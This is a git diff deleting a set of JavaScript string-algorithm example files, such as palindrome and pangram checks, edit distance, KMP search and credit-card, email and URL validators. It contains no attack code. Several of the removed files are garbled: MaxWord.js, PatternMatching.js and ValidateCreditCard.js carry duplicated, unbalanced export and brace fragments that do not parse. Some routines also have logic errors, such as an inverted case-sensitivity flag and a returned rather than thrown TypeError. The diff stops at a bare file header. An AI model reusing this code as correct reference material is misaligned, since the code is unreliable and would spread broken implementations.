-// Palindrome check is case sensitive; i.e. Aba is not a palindrome
-// input is a string
-const checkPalindrome = (str) => {
-    // check that input is a string
-    if (typeof str !== 'string') {
-        return 'Not a string';
-    }
-    if (str.length === 0) {
-        return 'Empty string';
-    }
-    // Reverse only works with array, thus convert the string to array, reverse it and convert back to string
-    // return as palindrome if the reversed string is equal to the input string
-    const reversed = [...str].reverse().join('');
-    return str === reversed ? 'Palindrome' : 'Not a Palindrome';
-};
-export { checkPalindrome };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckPangram.js b/docs/content/DS_ALGO/algorithms/string/CheckPangram.js
deleted file mode 100644
index bfe8430c66..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckPangram.js
+++ /dev/null
@@ -1,47 +0,0 @@
-/**
- * What is Pangram?
- * Pangram is a sentence that contains all the letters in the alphabet https://en.wikipedia.org/wiki/Pangram
- */
-/**
- * @function checkPangramRegex
- * @description - This function check pangram with the help of regex pattern
- * @param {string} string
- * @returns {boolean}
- * @example - checkPangramRegex("'The quick brown fox jumps over the lazy dog' is a pangram") => true
- * @example - checkPangramRegex('"Waltz, bad nymph, for quick jigs vex." is a pangram') => true
- */
-const checkPangramRegex = (string) => {
-    if (typeof string !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    /**
-     * Match all 26 alphabets using regex, with the help of:
-     * Capturing group - () -> Groups multiple tokens together and creates a capture group for extracting a substring or using a backreference.
-     * Character set - [a-z] -> Matches a char in the range a to z in case-insensitive for the 'i' flag
-     * Negative lookahead - (?!) -> Specifies a group that can not match after the main expression (if it matches, the result is discarded).
-     * Dot - . -> Matches any character except linebreaks. Equivalent to
-     * Star - * -> Matches 0 or more of the preceding token.
-     * Numeric reference - \{$n} -> Matches the results of a capture group. E.g. - \1  matches the results of the first capture group & \3 matches the third.
-     */
-    return string.match(/([a-z])(?!.*\1)/gi).length === 26;
-};
-/**
- * @function checkPangramSet
- * @description - This function detect the pangram sentence by HashSet
- * @param {string} string
- * @returns {boolean}
- */
-const checkPangramSet = (string) => {
-    if (typeof string !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    const lettersSet = new Set();
-    for (const letter of string.toUpperCase()) {
-        if (/[A-Z]/.test(letter)) {
-            // if the letter is a valid uppercase alphabet then the add method insert the letter to the HashSet
-            lettersSet.add(letter);
-        }
-    }
-    return lettersSet.size === 26;
-};
-export { checkPangramRegex, checkPangramSet };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckPascalCase.js b/docs/content/DS_ALGO/algorithms/string/CheckPascalCase.js
deleted file mode 100644
index 82181872a7..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckPascalCase.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// CheckPascalCase method checks the given string is in PascalCase or not.
-// Problem Source & Explanation: https://www.theserverside.com/definition/Pascal-case
-/**
- * CheckPascalCase method returns true if the string in PascalCase, else return the false.
- * @param {String} VarName the name of the variable to check.
- * @returns `Boolean` return true if the string is in PascalCase, else return false.
- */
-const CheckPascalCase = (VarName) => {
-    // firstly, check that input is a string or not.
-    if (typeof VarName !== 'string') {
-        return new TypeError('Argument is not a string.');
-    }
-    const pat = /^[A-Z][A-Za-z]*$/;
-    return pat.test(VarName);
-};
-export { CheckPascalCase };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckRearrangePalindrome.js b/docs/content/DS_ALGO/algorithms/string/CheckRearrangePalindrome.js
deleted file mode 100644
index bb967329cf..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckRearrangePalindrome.js
+++ /dev/null
@@ -1,30 +0,0 @@
-/**
- * What is a palindrome? https://en.wikipedia.org/wiki/Palindrome
- * Receives a string and returns whether it can be rearranged to become a palindrome or not
- * The string can only be a palindrome if the count of ALL characters is even or if the ONLY ONE character count is odd
- * Input is a string
- *
- **/
-export const palindromeRearranging = (str) => {
-    // check that input is a string
-    if (typeof str !== 'string') {
-        return 'Not a string';
-    }
-    // Check if is a empty string
-    if (str.length === 0) {
-        return 'Empty string';
-    }
-    // First obtain the character count for each character in the string and store it in an object.
-    // Filter the object's values to only the odd character counts.
-    const charCounts = [...str].reduce((counts, char) => {
-        counts[char] = counts[char] ? counts[char] + 1 : 1;
-        return counts;
-    }, {});
-    // If the length of the resulting array is 0 or 1, the string can be a palindrome.
-    return Object.values(charCounts).filter((count) => count % 2 !== 0).length <= 1;
-};
-// testing
-// > palindromeRearranging('aaeccrr')
-// true
-// > palindromeRearranging('leve')
-// false
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckSnakeCase.js b/docs/content/DS_ALGO/algorithms/string/CheckSnakeCase.js
deleted file mode 100644
index ef588f6735..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckSnakeCase.js
+++ /dev/null
@@ -1,16 +0,0 @@
-// CheckSnakeCase method checks the given string is in snake_case or not.
-// Problem Source & Explanation: https://en.wikipedia.org/wiki/Naming_convention_(programming)
-/**
- * checkSnakeCase method returns true if the string in snake_case, else return the false.
- * @param {String} varName the name of the variable to check.
- * @returns `Boolean` return true if the string is in snake_case, else return false.
- */
-const checkSnakeCase = (varName) => {
-    // firstly, check that input is a string or not.
-    if (typeof varName !== 'string') {
-        throw new TypeError('Argument is not a string.');
-    }
-    const pat = /(.*?)_([a-zA-Z])*/;
-    return pat.test(varName);
-};
-export { checkSnakeCase };
diff --git a/docs/content/DS_ALGO/algorithms/string/CheckWordOccurrence.js b/docs/content/DS_ALGO/algorithms/string/CheckWordOccurrence.js
deleted file mode 100644
index ccac1bd206..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CheckWordOccurrence.js
+++ /dev/null
@@ -1,23 +0,0 @@
-/**
- * @function checkWordOccurrence
- * @description - this function count all the words in a sentence and return an word occurrence object
- * @param {string} str
- * @param {boolean} isCaseSensitive
- * @returns {Object}
- */
-const checkWordOccurrence = (str, isCaseSensitive = false) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('The first param should be a string');
-    }
-    if (typeof isCaseSensitive !== 'boolean') {
-        throw new TypeError('The second param should be a boolean');
-    }
-    const modifiedStr = isCaseSensitive ? str.toLowerCase() : str;
-    return modifiedStr
-        .split(/\s+/) // remove all spaces and distribute all word in List
-        .reduce((occurrence, word) => {
-            occurrence[word] = occurrence[word] + 1 || 1;
-            return occurrence;
-        }, {});
-};
-export { checkWordOccurrence };
diff --git a/docs/content/DS_ALGO/algorithms/string/CountVowels.js b/docs/content/DS_ALGO/algorithms/string/CountVowels.js
deleted file mode 100644
index 0267711a35..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CountVowels.js
+++ /dev/null
@@ -1,17 +0,0 @@
-/**
- * @function countVowels
- * @description Given a string of words or phrases, count the number of vowels.
- * @param {String} str - The input string
- * @return {Number} - The number of vowels
- * @example countVowels("ABCDE") => 2
- * @example countVowels("Hello") => 2
- */
-const countVowels = (str) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('Input should be a string');
-    }
-    const vowelRegex = /[aeiou]/gi;
-    const vowelsArray = str.match(vowelRegex) || [];
-    return vowelsArray.length;
-};
-export { countVowels };
diff --git a/docs/content/DS_ALGO/algorithms/string/CreatePermutations.js b/docs/content/DS_ALGO/algorithms/string/CreatePermutations.js
deleted file mode 100644
index 1f0ee3d7de..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/CreatePermutations.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-a permutation of a set is, loosely speaking, an arrangement of its members into a sequence or linear order, or if the set is already ordered, a rearrangement of its elements.
-The word "permutation" also refers to the act or process of changing the linear order of an ordered set
-More at : https://en.wikipedia.org/wiki/Permutation
-*/
-const createPermutations = (str) => {
-    // convert string to array
-    const arr = str.split('');
-    // get array length
-    const strLen = arr.length;
-    // this will hold all the permutations
-    const perms = [];
-    let rest;
-    let picked;
-    let restPerms;
-    let next;
-    // if strLen is zero, return the same string
-    if (strLen === 0) {
-        return [str];
-    }
-    // loop to the length to get all permutations
-    for (let i = 0; i < strLen; i++) {
-        rest = Object.create(arr);
-        picked = rest.splice(i, 1);
-        restPerms = createPermutations(rest.join(''));
-        for (let j = 0, jLen = restPerms.length; j < jLen; j++) {
-            next = picked.concat(restPerms[j]);
-            perms.push(next.join(''));
-        }
-    }
-    return perms;
-};
-export { createPermutations };
diff --git a/docs/content/DS_ALGO/algorithms/string/DiceCoefficient.js b/docs/content/DS_ALGO/algorithms/string/DiceCoefficient.js
deleted file mode 100644
index 6f653891c1..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/DiceCoefficient.js
+++ /dev/null
@@ -1,39 +0,0 @@
-/* The Sørensen-Dice coefficient is a statistic used to gauge the similarity of two samples.
- * Applied to strings, it can give you a value between 0 and 1 (included) which tells you how similar they are.
- * Dice coefficient is calculated by comparing the bigrams of both strings,
- * a bigram is a substring of the string of length 2.
- * read more: https://en.wikipedia.org/wiki/S%C3%B8rensen%E2%80%93Dice_coefficient
- */
-// Time complexity: O(m + n), m and n being the sizes of string A and string B
-// Find the bistrings of a string and return a hashmap (key => bistring, value => count)
-function mapBigrams(string) {
-    const bigrams = new Map();
-    for (let i = 0; i < string.length - 1; i++) {
-        const bigram = string.substring(i, i + 2);
-        const count = bigrams.get(bigram);
-        bigrams.set(bigram, (count || 0) + 1);
-    }
-    return bigrams;
-}
-// Calculate the number of common bigrams between a map of bigrams and a string
-function countCommonBigrams(bigrams, string) {
-    let count = 0;
-    for (let i = 0; i < string.length - 1; i++) {
-        const bigram = string.substring(i, i + 2);
-        if (bigrams.has(bigram)) count++;
-    }
-    return count;
-}
-// Calculate Dice coeff of 2 strings
-function diceCoefficient(stringA, stringB) {
-    if (stringA === stringB) return 1;
-    else if (stringA.length < 2 || stringB.length < 2) return 0;
-    const bigramsA = mapBigrams(stringA);
-    const lengthA = stringA.length - 1;
-    const lengthB = stringB.length - 1;
-    let dice = (2 * countCommonBigrams(bigramsA, stringB)) / (lengthA + lengthB);
-    // cut 0.xxxxxx to 0.xx for simplicity
-    dice = Math.floor(dice * 100) / 100;
-    return dice;
-}
-export { diceCoefficient };
diff --git a/docs/content/DS_ALGO/algorithms/string/FormatPhoneNumber.js b/docs/content/DS_ALGO/algorithms/string/FormatPhoneNumber.js
deleted file mode 100644
index e238046489..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/FormatPhoneNumber.js
+++ /dev/null
@@ -1,15 +0,0 @@
-// function that takes 10 digits and returns a string of the formatted phone number
-// e.g.: 1234567890 -> (123) 456-7890
-const formatPhoneNumber = (numbers) => {
-    const numbersString = numbers.toString();
-    if (numbersString.length !== 10 || isNaN(numbersString)) {
-        // return "Invalid phone number."
-        throw new TypeError('Invalid phone number.');
-    }
-    const arr = '(XXX) XXX-XXXX'.split('');
-    Array.from(numbersString).forEach((n) => {
-        arr[arr.indexOf('X')] = n;
-    });
-    return arr.join('');
-};
-export { formatPhoneNumber };
diff --git a/docs/content/DS_ALGO/algorithms/string/GenerateGUID.js b/docs/content/DS_ALGO/algorithms/string/GenerateGUID.js
deleted file mode 100644
index 6c92a1cf04..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/GenerateGUID.js
+++ /dev/null
@@ -1,16 +0,0 @@
-/*
-Generates a UUID/GUID in Node.Js.
-The script uses `Math.random` in combination with the timestamp for better randomness.
-The function generate an RFC4122 (https://www.ietf.org/rfc/rfc4122.txt) version 4 UUID/GUID
-*/
-export const Guid = () => {
-    const pattern = 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx';
-    let currentDateMilliseconds = new Date().getTime();
-    return pattern.replace(/[xy]/g, (currentChar) => {
-        const randomChar = (currentDateMilliseconds + Math.random() * 16) % 16 | 0;
-        currentDateMilliseconds = Math.floor(currentDateMilliseconds / 16);
-        return (currentChar === 'x' ? randomChar : (randomChar & 0x7) | 0x8).toString(16);
-    });
-};
-// > Guid()
-// 'edc848db-3478-1760-8b55-7986003d895f'
diff --git a/docs/content/DS_ALGO/algorithms/string/HammingDistance.js b/docs/content/DS_ALGO/algorithms/string/HammingDistance.js
deleted file mode 100644
index 8925d18f33..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/HammingDistance.js
+++ /dev/null
@@ -1,27 +0,0 @@
-/**
- * Hamming Distance: https://en.wikipedia.org/wiki/Hamming_distance
- *
- *
- * Hamming distance is a metric for comparing two binary data strings.
- *
- * While comparing two binary strings of equal length, Hamming distance
- * is the number of bit positions in which the two bits are different.
- * The Hamming distance between two strings, a and b is denoted as d(a,b)
- */
-/**
- * @param {string} a
- * @param {string} b
- * @return {number}
- */
-export const hammingDistance = (a, b) => {
-    if (a.length !== b.length) {
-        throw new Error('Strings must be of the same length');
-    }
-    let distance = 0;
-    for (let i = 0; i < a.length; i += 1) {
-        if (a[i] !== b[i]) {
-            distance += 1;
-        }
-    }
-    return distance;
-};
diff --git a/docs/content/DS_ALGO/algorithms/string/KMPPatternSearching.js b/docs/content/DS_ALGO/algorithms/string/KMPPatternSearching.js
deleted file mode 100644
index 2b36189d7d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/KMPPatternSearching.js
+++ /dev/null
@@ -1,48 +0,0 @@
-// Implementing KMP Search Algorithm to search all the instances of pattern in
-// given text
-// Reference Book: Introduction to Algorithms, CLRS
-// Explanation: https://www.topcoder.com/community/competitive-programming/tutorials/introduction-to-string-searching-algorithms/
-const computeLPS = (pattern) => {
-    const lps = Array(pattern.length);
-    lps[0] = 0;
-    for (let i = 1; i < pattern.length; i++) {
-        let matched = lps[i - 1];
-        while (matched > 0 && pattern[i] !== pattern[matched]) {
-            matched = lps[matched - 1];
-        }
-        if (pattern[i] === pattern[matched]) {
-            matched++;
-        }
-        lps[i] = matched;
-    }
-    return lps;
-};
-/**
- * Returns all indices where pattern starts in text
- * @param {*} text a big text in which pattern string is to find
- * @param {*} pattern the string to find
- */
-const KMPSearch = (text, pattern) => {
-    if (!pattern || !text) {
-        return []; // no results
-    }
-    // lps[i] = length of proper prefix of pattern[0]...pattern[i-1]
-    //          which is also proper suffix of it
-    const lps = computeLPS(pattern);
-    const result = [];
-    let matched = 0;
-    for (let i = 0; i < text.length; i++) {
-        while (matched > 0 && text[i] !== pattern[matched]) {
-            matched = lps[matched - 1];
-        }
-        if (text[i] === pattern[matched]) {
-            matched++;
-        }
-        if (matched === pattern.length) {
-            result.push(i - pattern.length + 1);
-            matched = lps[matched - 1];
-        }
-    }
-    return result;
-};
-export { KMPSearch };
diff --git a/docs/content/DS_ALGO/algorithms/string/LevenshteinDistance.js b/docs/content/DS_ALGO/algorithms/string/LevenshteinDistance.js
deleted file mode 100644
index 376b7b7024..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/LevenshteinDistance.js
+++ /dev/null
@@ -1,37 +0,0 @@
-/* The Levenshtein distance (a.k.a edit distance) is a
-measure of similarity between two strings. It is
-defined as the minimum number of changes required to
-convert string a into string b (this is done by
-inserting, deleting or replacing a character in
-string a).
-The smaller the Levenshtein distance,
-the more similar the strings are. This is a very
-common problem in the application of Dynamic Programming.
-*/
-const levenshteinDistance = (a, b) => {
-    // Declaring array 'D' with rows = len(a) + 1 and columns = len(b) + 1:
-    const distanceMatrix = Array(b.length + 1)
-        .fill(null)
-        .map(() => Array(a.length + 1).fill(null));
-    // Initializing first column:
-    for (let i = 0; i <= a.length; i += 1) {
-        distanceMatrix[0][i] = i;
-    }
-    // Initializing first row:
-    for (let j = 0; j <= b.length; j += 1) {
-        distanceMatrix[j][0] = j;
-    }
-    for (let j = 1; j <= b.length; j += 1) {
-        for (let i = 1; i <= a.length; i += 1) {
-            const indicator = a[i - 1] === b[j - 1] ? 0 : 1;
-            // choosing the minimum of all three, vis-a-vis:
-            distanceMatrix[j][i] = Math.min(
-                distanceMatrix[j][i - 1] + 1, // deletion
-                distanceMatrix[j - 1][i] + 1, // insertion
-                distanceMatrix[j - 1][i - 1] + indicator // substitution
-            );
-        }
-    }
-    return distanceMatrix[b.length][a.length];
-};
-export { levenshteinDistance };
diff --git a/docs/content/DS_ALGO/algorithms/string/Lower.js b/docs/content/DS_ALGO/algorithms/string/Lower.js
deleted file mode 100644
index 4f2f78c67d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/Lower.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/**
- * @function lower
- * @description Will convert the entire string to lowercase letters.
- * @param {String} str - The input string
- * @returns {String} Lowercase string
- * @example lower("HELLO") => hello
- * @example lower("He_llo") => he_llo
- */
-const lower = (str) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('Invalid Input Type');
-    }
-    return str.replace(/[A-Z]/g, (_, indexOfUpperChar) => {
-        const asciiCode = str.charCodeAt(indexOfUpperChar);
-        return String.fromCharCode(asciiCode + 32);
-    });
-};
-export { lower };
diff --git a/docs/content/DS_ALGO/algorithms/string/MaxCharacter.js b/docs/content/DS_ALGO/algorithms/string/MaxCharacter.js
deleted file mode 100644
index d3d9e9fceb..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/MaxCharacter.js
+++ /dev/null
@@ -1,27 +0,0 @@
-/*
-  Given a string of characters, return the character that appears the most often.
-  Example: input = "Hello World!" return "l"
-*/
-const maxCharacter = (value) => {
-    if (typeof value !== 'string') {
-        throw new TypeError('The param should be a string');
-    } else if (!value) {
-        throw new Error('The param should be a valid string');
-    }
-    const occurrences = {};
-    for (let i = 0; i < value.length; i++) {
-        const char = value[i];
-        if (/\s/.test(char)) continue;
-        occurrences[char] = occurrences[char] + 1 || 1;
-    }
-    let maxCharacter = null;
-    let maxCount = 0;
-    Object.keys(occurrences).forEach((char) => {
-        if (occurrences[char] > maxCount) {
-            maxCount = occurrences[char];
-            maxCharacter = char;
-        }
-    });
-    return maxCharacter;
-};
-export { maxCharacter };
diff --git a/docs/content/DS_ALGO/algorithms/string/MaxWord.js b/docs/content/DS_ALGO/algorithms/string/MaxWord.js
deleted file mode 100644
index fc6616e249..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/MaxWord.js
+++ /dev/null
@@ -1,51 +0,0 @@
-// Given a sentence, return the most occurring word
-/**
- * @param {string} sentence - the sentence you want to find the most occurring word
- * @returns {string} - the most occurring word
- *
- * @example
- *     -  maxWord('lala lili lala'); // lala
- */
-const maxWord = (sentence = '') => {
-    if (typeof sentence !== 'string') {
-        throw new TypeError('the param should be string');
-    }
-    if (!sentence) {
-        return null;
-    }
-    const words = sentence.split(' ');
-    if (words.length < 2) {
-        return words[0];
-    }
-    const occurrences = {};
-    words.forEach((word) => {
-        occurrences[word.toLocaleLowerCase()] = occurrences[word.toLocaleLowerCase()] + 1 || 1;
-    });
-    const max = Object.keys(occurrences).reduce(
-            (n, word) => {
-                if (occurrences[word] > n.count) {
-                    return {
-                        word,
-                        count: occurrences[word]
-                    };
-                } else {}
-                return n;
-            }
-        },
-        {
-            word: '',
-            count: 0
-        }
-);
-return max.word;
-};
-export {
-    maxWord
-};
-}
-);
-return max.word;
-};
-export {
-    maxWord
-};
diff --git a/docs/content/DS_ALGO/algorithms/string/PatternMatching.js b/docs/content/DS_ALGO/algorithms/string/PatternMatching.js
deleted file mode 100644
index 523db882b3..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/PatternMatching.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/*
-Pattern matching is case insensitive as
-the inputs are converted to lower case before the
-algorithm is run.
-The algorithm will run through the entire text and
-return the starting index if the given pattern is
-available in the text
-*/
-const checkIfPatternExists = (text, pattern) => {
-    if (typeof text !== 'string' || typeof pattern !== 'string') {
-        throw new TypeError('Given input is not a string');
-    }
-    const textLength = text.length; // Store the length of the text in a variable
-    const patternLength = pattern.length; // Store the length of the pattern in a variable
-    // Iterate through the text until the textlength - patternlength index
-    for (let i = 0; i <= textLength - patternLength; i++) {
-        // For each character in the text check if the subsequent character
-        // are matching the given pattern; if not break from the condition
-        for (let j = 0; j < textLength; j++) {
-            if (text[i + j] !== pattern[j]) break;
-            // For each iteration of j check if the value of
-            // j + 1 is equal to the length of the pattern
-            if (j + 1 === patternLength) {
-                return `Given pattern is found at index ${i}`;
-            }
-        }
-    }
-};
-export {
-    checkIfPatternExists
-};
-checkIfPatternExists
-};
diff --git a/docs/content/DS_ALGO/algorithms/string/PermutateString.js b/docs/content/DS_ALGO/algorithms/string/PermutateString.js
deleted file mode 100644
index 323c72269c..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/PermutateString.js
+++ /dev/null
@@ -1,30 +0,0 @@
-'use strict';
-const permutate = (aString) => {
-    if (typeof aString !== 'string' || !aString) {
-        throw new Error('The arg must be a valid, non empty string');
-    }
-    const characters = aString.split('');
-    let permutations = [[characters.shift()]];
-    while (characters.length) {
-        const currentCharacter = characters.shift();
-        permutations = calculateCurrentCharacterPermutation(permutations, currentCharacter);
-    }
-    return permutations
-        .map((character) => character.join(''))
-        .filter((item, index, self) => self.indexOf(item) === index)
-        .sort();
-};
-const calculateCurrentCharacterPermutation = (allPermutations, currentCharacter) => {
-    const currentPermutations = [];
-    allPermutations.forEach((permutation) => {
-        let index = 0;
-        while (index <= permutation.length) {
-            const tmp = [...permutation];
-            tmp.splice(index, 0, currentCharacter);
-            currentPermutations.push(tmp);
-            index++;
-        }
-    });
-    return currentPermutations;
-};
-export { permutate };
diff --git a/docs/content/DS_ALGO/algorithms/string/ReverseString.js b/docs/content/DS_ALGO/algorithms/string/ReverseString.js
deleted file mode 100644
index 2d55ee0631..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ReverseString.js
+++ /dev/null
@@ -1,32 +0,0 @@
-/**
- * A short example showing how to reverse a string.
- */
-function ReverseStringIterative(string) {
-    if (typeof string !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    let reversedString = '';
-    let index;
-    for (index = string.length - 1; index >= 0; index--) {
-        reversedString += string[index];
-    }
-    return reversedString;
-}
-/**
- * JS disallows string mutation so we're actually a bit slower.
- *
- * @complexity O(n)
- */
-function ReverseStringIterativeInplace(string) {
-    if (typeof string !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    const _string = string.split('');
-    for (let i = 0; i < Math.floor(_string.length / 2); i++) {
-        const first = _string[i];
-        _string[i] = _string[_string.length - 1 - i];
-        _string[_string.length - 1 - i] = first;
-    }
-    return _string.join('');
-}
-export { ReverseStringIterative, ReverseStringIterativeInplace };
diff --git a/docs/content/DS_ALGO/algorithms/string/ReverseWords.js b/docs/content/DS_ALGO/algorithms/string/ReverseWords.js
deleted file mode 100644
index c5640e9524..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ReverseWords.js
+++ /dev/null
@@ -1,15 +0,0 @@
-const reverseWords = (str) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    // Split string into words
-    // Ex. "I Love JS" => ["I", "Love", "JS"]
-    const words = str.split(' ');
-    // reverse words
-    // ["I", "Love", "JS"] => ["JS", "Love", "I"]
-    const reversedWords = words.reverse();
-    // join reversed words with space and return
-    // ["JS", "Love", "I"] => "JS Love I"
-    return reversedWords.join(' ');
-};
-export { reverseWords };
diff --git a/docs/content/DS_ALGO/algorithms/string/ScrambleStrings.js b/docs/content/DS_ALGO/algorithms/string/ScrambleStrings.js
deleted file mode 100644
index ad31996afa..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ScrambleStrings.js
+++ /dev/null
@@ -1,39 +0,0 @@
-// Problem Statement and Explanation: https://leetcode.com/problems/scramble-string/
-/**
- * Given two strings s1 and s2 of the same length, return true if s2 is a scrambled string of s1, otherwise, return false.
- * @param {string} s1
- * @param {string} s2
- * @return {boolean}
- */
-const isScramble = (s1, s2) => {
-    return helper({}, s1, s2);
-};
-const helper = function (dp, s1, s2) {
-    const map = {};
-    if (dp[s1 + s2] !== undefined) return dp[s1 + s2];
-    if (s1 === s2) return true;
-    for (let j = 0; j < s1.length; j++) {
-        if (map[s1[j]] === undefined) map[s1[j]] = 0;
-        if (map[s2[j]] === undefined) map[s2[j]] = 0;
-        map[s1[j]]++;
-        map[s2[j]]--;
-    }
-    for (const key in map) {
-        if (map[key] !== 0) {
-            dp[s1 + s2] = false;
-            return false;
-        }
-    }
-    for (let i = 1; i < s1.length; i++) {
-        if (
-            (helper(dp, s1.substr(0, i), s2.substr(0, i)) && helper(dp, s1.substr(i), s2.substr(i))) ||
-            (helper(dp, s1.substr(0, i), s2.substr(s2.length - i)) && helper(dp, s1.substr(i), s2.substr(0, s2.length - i)))
-        ) {
-            dp[s1 + s2] = true;
-            return true;
-        }
-    }
-    dp[s1 + s2] = false;
-    return false;
-};
-export { isScramble };
diff --git a/docs/content/DS_ALGO/algorithms/string/Upper.js b/docs/content/DS_ALGO/algorithms/string/Upper.js
deleted file mode 100644
index 6e106a45f0..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/Upper.js
+++ /dev/null
@@ -1,18 +0,0 @@
-/**
- * @function upper
- * @description Will convert the entire string to uppercase letters.
- * @param {String} str - The input string
- * @return {String} Uppercase string
- * @example upper("hello") => HELLO
- * @example upper("He_llo") => HE_LLO
- */
-const upper = (str) => {
-    if (typeof str !== 'string') {
-        throw new TypeError('Argument should be string');
-    }
-    return str.replace(/[a-z]/g, (_, indexOfLowerChar) => {
-        const asciiCode = str.charCodeAt(indexOfLowerChar);
-        return String.fromCharCode(asciiCode - 32);
-    });
-};
-export { upper };
diff --git a/docs/content/DS_ALGO/algorithms/string/ValidateCreditCard.js b/docs/content/DS_ALGO/algorithms/string/ValidateCreditCard.js
deleted file mode 100644
index 075231239d..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ValidateCreditCard.js
+++ /dev/null
@@ -1,56 +0,0 @@
-/**
- * Validate a given credit card number
- *
- * The core of the validation of credit card numbers is the Luhn algorithm.
- *
- * The validation sum should be completely divisible by 10 which is calculated as follows,
- * every first digit is added directly to the validation sum.
- * For every second digit in the credit card number, the digit is multiplied by 2.
- * If the product is greater than 10 the digits of the product are added.
- * This resultant digit is considered for the validation sum rather than the digit itself.
- *
- * Ref: https://www.geeksforgeeks.org/luhn-algorithm/
- */
-const luhnValidation = (creditCardNumber) => {
-    let validationSum = 0;
-    creditCardNumber.split('').forEach((digit, index) => {
-        let currentDigit = parseInt(digit);
-        if (index % 2 === 0) {
-            // Multiply every 2nd digit from the left by 2
-            currentDigit *= 2;
-            // if product is greater than 10 add the individual digits of the product to get a single digit
-            if (currentDigit > 9) {
-                currentDigit %= 10;
-                currentDigit += 1;
-            }
-        }
-        validationSum += currentDigit;
-    });
-    return validationSum % 10 === 0;
-};
-const validateCreditCard = (creditCardString) => {
-    const validStartSubString = ['4', '5', '6', '37', '34', '35']; // Valid credit card numbers start with these numbers
-    if (typeof creditCardString !== 'string') {
-        throw new TypeError('The given value is not a string');
-    }
-    const errorMessage = `${creditCardString} is an invalid credit card number because `;
-    if (isNaN(creditCardString)) {
-        throw new TypeError(errorMessage + 'it has nonnumerical characters.');
-    }
-    const creditCardStringLength = creditCardString.length;
-    if (!(creditCardStringLength >= 13 && creditCardStringLength <= 16)) {
-        throw new Error(errorMessage + 'of its length.');
-    }
-    if (!validStartSubString.some((subString) => creditCardString.startsWith(subString))) {
-        throw new Error(errorMessage + 'of its first two digits.');
-    }
-    if (!luhnValidation(creditCardString)) {
-        throw new Error(errorMessage + 'it fails the Luhn check.');
-    }
-    return true;
-};
-export {
-    validateCreditCard
-};
-validateCreditCard
-};
diff --git a/docs/content/DS_ALGO/algorithms/string/ValidateEmail.js b/docs/content/DS_ALGO/algorithms/string/ValidateEmail.js
deleted file mode 100644
index 63bec976f7..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ValidateEmail.js
+++ /dev/null
@@ -1,10 +0,0 @@
-/**
- * Returns whether the given string is a valid email address or not.
- */
-const validateEmail = (str) => {
-    if (str === '' || str === null) {
-        throw new TypeError('Email Address String Null or Empty.');
-    }
-    return /^[^\s@]+@[^\s@]+\.[^\s@]+$/.test(str);
-};
-export { validateEmail };
diff --git a/docs/content/DS_ALGO/algorithms/string/ValidateUrl.js b/docs/content/DS_ALGO/algorithms/string/ValidateUrl.js
deleted file mode 100644
index 5b8197ddf5..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/ValidateUrl.js
+++ /dev/null
@@ -1,11 +0,0 @@
-/**
- * @function ValidateURL
- * @description validate the URL.
- * @param {String} url - The input URL string
- * @return {Boolean}
- */
-const validateURL = (url) => {
-    const URL_PATTERN = /^(https?:\/\/(?:www\.|(?!www))[^\s.]+\.[^\s]{2,}|www\.[^\s]+\.[^\s]{2,})$/gi;
-    return URL_PATTERN.test(url);
-};
-export { validateURL };
diff --git a/docs/content/DS_ALGO/algorithms/string/hamming-distance/README.md b/docs/content/DS_ALGO/algorithms/string/hamming-distance/README.md
deleted file mode 100644
index cf5d6cf032..0000000000
--- a/docs/content/DS_ALGO/algorithms/string/hamming-distance/README.md
+++ /dev/null
@@ -1,23 +0,0 @@
-# Hamming Distance
-
-the Hamming distance between two strings of equal length is the
-number of positions at which the corresponding symbols are
-different. In other words, it measures the minimum number of
-substitutions required to change one string into the other, or
-the minimum number of errors that could have transformed one
-string into the other. In a more general context, the Hamming
-distance is one of several string metrics for measuring the
-edit distance between two sequences.
-
-## Examples
-
-The Hamming distance between:
-
--   "ka**rol**in" and "ka**thr**in" is **3**.
--   "k**a**r**ol**in" and "k**e**r**st**in" is **3**.
--   10**1**1**1**01 and 10**0**1**0**01 is **2**.
--   2**17**3**8**96 and 2**23**3**7**96 is **3**.
-
-## References
-
-[Wikipedia](https://en.wikipedia.org/wiki/Hamming_distance)
diff --git a/docs/content/DS_ALGO/algorithms/string/hamming-distance/hammingDistance.js b/docs/content/DS_ALGO/algorithms/string/hamming-distance/hammingDistance.js
deleted file mode 100644
index 68b081a30a..0000000000
